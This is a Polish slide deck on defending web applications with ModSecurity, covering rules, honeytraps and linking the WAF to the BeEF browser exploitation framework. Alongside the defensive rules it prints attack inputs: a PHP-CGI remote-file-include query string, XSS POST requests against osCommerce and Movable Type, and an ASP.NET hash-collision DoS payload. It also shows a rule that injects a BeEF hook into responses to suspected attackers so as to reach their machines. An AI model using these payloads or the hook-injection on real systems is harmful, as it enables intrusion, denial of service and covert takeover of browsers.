  • 12. Realne przypadki • Ruby on Rails XML Exploits – Podatność w kodzie parsującym parametry XML – YAML i Symbol – Wykonanie dowolnego polecenia systemowego • Modsecurity potrafi parsować i walidować XML: • SecRule REQUEST_HEADERS:Content-Type "text/xml" "id:'900017', phase:1, t:none,t:lowercase, nolog, pass, chain" SecRule REQBODY_PROCESSOR "!@streq XML" "ctl:requestBodyProcessor=XML" 12 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 13. Realne przypadki • Positive security model dla formularza logowania + ochrona przed brute force • 13 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 14. Realne przypadki • Ochrona przed atakami typu Slow HTTP DOS – Slowloris: • Atakujący wysyła niekompletny zbiór nagłówków • „Zaśmiecenie” kolejki read request i write request • Serwer oczekuje dalszych requestów, aż do Timeoutu • Wysyłanie kolejnych żądań powoduje wysycenie zasobów – R-U-dead-yet czyli RUDY attack: • Faza request headers wykonywana poprawnie • Wolne wysyłanie request body, np 1bajt/100s – Wiele innych jak HOIC/LOIC 14 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 15. Realne przypadki • Kontrolowanie ilości połączeń w stanie Busy: SecReadStateLimit 5 SecWriteStateLimit 5 • [Mon Nov 22 17:44:46 2010] [warn] ModSecurity: Access denied with code 400. • Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX - • Possible DoS Consumption Attack [Rejected] • [Mon Nov 22 17:44:47 2010] [warn] ModSecurity: Access denied with code 400. • Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX - • Possible DoS Consumption Attack [Rejected] 15 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 16. Realne przypadki • HULK DOS Tool: – Pythony skrypt – Randomizowane wartości nagłówków: User-Agent, Referer, Keep-alive – Zawsze ta sama kolejność – • 16 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 17. Realne przypadki • CVE-2012-1823: – PHP jako czyste CGI – mod_cgid • Możliwość podglądu kodu źródłowego: – 'GET /index.php?-s' – /index.php?-dallow_url_include%3don+- dauto_prepend_file %3dhttp://www.bu67778.com/a.txt' • SecRule QUERY_STRING "^-[sdcr]" "phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block ,log,msg:'Potential PHP-CGI Exploit Attempt'" • Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl 17
  • 18. Realne przypadki • OsCommerce 3.0.2 – XSS • Parametr „name” : – POST /oscommerce/index.php? RPC&Setup&Install&DBCheck HTTP/1.1 – server=&username=&password=&name= %3Cscript%3Ealert(123)%3C%2Fscript %3E&port=&class=SQL • 18 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 19. Realne przypadki • Movable Types: XSS • Parametr dbuser: – POST /cgi-bin/mt/mt-wizard.cgi HTTP/1.1 – __mode=test&step=configure&set_static_uri_to=&d efault_language=en- us&config=&dbtype=mysql&dbserver=localhost&db name=&dbuser=%3Cscript%3Ealert %28%27123%27%29%3C%2Fscript %3E&dbpass=test&dbpath=&dbport=&dbsocket=&t est=1 19 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 20. Realne przypadki • Movable types: 20 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 21. Realne przypadki • ASP.NET HashTable DoS: • Paylodem była bardzo duża ilość losowych parametrów z pustą zawartością: • EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138 LL=&XXST36DRX=&JRYRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0 TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=&MOCGW14ZU7=&I0JK KKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D 3ACY8973E=&VGJPMCQHP=&AV6THWSCA7= • SecRequestBodyLimit 131072 – domyślna wartość • This directive is useful to reduce susceptibility to DoS attacks when someone is sending request bodies of very large sizes. 21 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 22. Honeytrapy 22 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 23. Honeytrapy • Wykorzystanie istniejących serwerów: – Listen 8080 – Listen 8888 – Listen 8000 • Wykrywanie i blokowanie automatów skanujących pod kątem webappek na niestandardowych portach • Tagowanie klientów • Rozpoznawanie pod kątem prawdziwej aplikacji 23 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 24. Honeytrapy • SecRule SERVER_PORT "^(8000|8080|8888)$" "id:'999004',phase:2,t:none,log,block,msg:'HoneyTrap Alert: Traffic Received on Fake Port.', setvar:ip.malicious_client=1" • SecRule &IP:MALICIOUS_CLIENT "@eq 1" "id:'999005',phase:2,t:none,log,block,msg:'HoneyTrap Alert: Known Malicious Client.'" • Integracja z WASC Web Honeypots 24 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 25. Mięsko ;) 25 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 26. BEEF • The Browser Exploitation Framework – zaawansowane narzędzie do pentestów • Browser as Pentester's gateway || C&C • Wymagane: – Zmuszenie użytkownika do wejścia na stronę (FB,TW, krótkie linki) – Phishing – XSS – dla tych którzy uważają, że XSS nic nie znaczy 26 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 27. BEEF • Pozwala na przejęcie kontroli nad przeglądarką użytkownika poprzez wstrzykiwanie hooków: – Bind shell – Javascript command – Odwiedzane URLe – Skanowanie portów/dns enum/network discovery – Man In The Browser – Tunelowanie – Keylogger • Integracja z metasploit, np: – XSS->Hook->przejęcie kontroli nad przeglądarką – Wykorzystanie podatności, np. w Adobe – Dostęp do shella z poziomu metasploita 27 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 28. • W jaki sposób wyśledzić prawdziwy adres źródłowy atakującego? – Proxy – TOR • Analiza powłamaniowa 28 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 29. Co mamy? • Modsecurity jako WAF: – Wykrywanie ataków – Aktywacja Beefa • BeEF jako browser exploitation framework: – Hookowanie atakujących – Enumeracja lokalizacji atakującego • AuditConsole: – Centralna konsola do analizy logów 29 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 30. modsecurity+BEEF • Idea przedstawiona na Appsec 2012 USA przez Rayna Barnetta • Ograniczenie do połączeń do tych „z browsera” • Monitorowanie atakujących 30 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 31. modsecurity+BEEF • Filtrowanie wyjścia: – SecResponseBodyAccess • Modyfikacja HTTP Response data – SecContentInjection – SecStreamOutBodyInspection – Zmienna STREAM_OUTPUT_BODY – Operator @rsub • SecRule STREAM_OUTPUT_BODY " <at> rsub s/FUCK/****/" "phase:4,t:none,log,auditlog,pass" 31 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 32. modsecurity+BEEF • W jaki sposób zidentyfikować atakującego? • Założyć pułapki: – Fake cookies – Robots.txt – Ukryte pola formularzy: • SecRule STREAM_OUTPUT_BODY "@rsub s/</form>/<input type="hidden" name="admin" value="false"></form>/id" id:"999999", phase:4,t:none,nolog,pass" 32 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 33. modsecurity+BEEF • SecRule ARGS:admin "!@streq false" "id:'9999923',phase:2,t:none,log,block,msg:'Honey trap alert: hidden form data manipulated',setvar:tx.malicious_client=1" • SecRule TX:MALICIOUS_CLIENT "@eq 1" "chain,id:'999232', phase:4, t:none, pass, log,msg:'hooking to beef'" • SecRule STREAM_OUTPUT_BODY "@rsub" s/</html>/<script src=http://10.0.0.1:5000/functions.js"></script></ht ml> 33 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 34. modsecurity+BEEF • Geolokalizacja: – Lokalnie dostępne access pointy • Uzyskanie dostępu do CMD celem wysłania ICMP do naszego hosta: – Analiza ruchu i wykrycie faktycznego adresu IP 34 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 35. Podsumowanie • W modsecurity drzemią ogromne możliwości i potencjał • Reguły oparte na blacklistach prędzej czy później mogą zostać ominięte • Whitelisting trudny we wdrożeniu, utrzymaniu i czasochłonny – zmieniające się aplikacje • Audytowanie logów – konieczność • 35 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 36. Podsumowanie Dziękuję za uwagę. lm@linuxpolska.pl 36 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl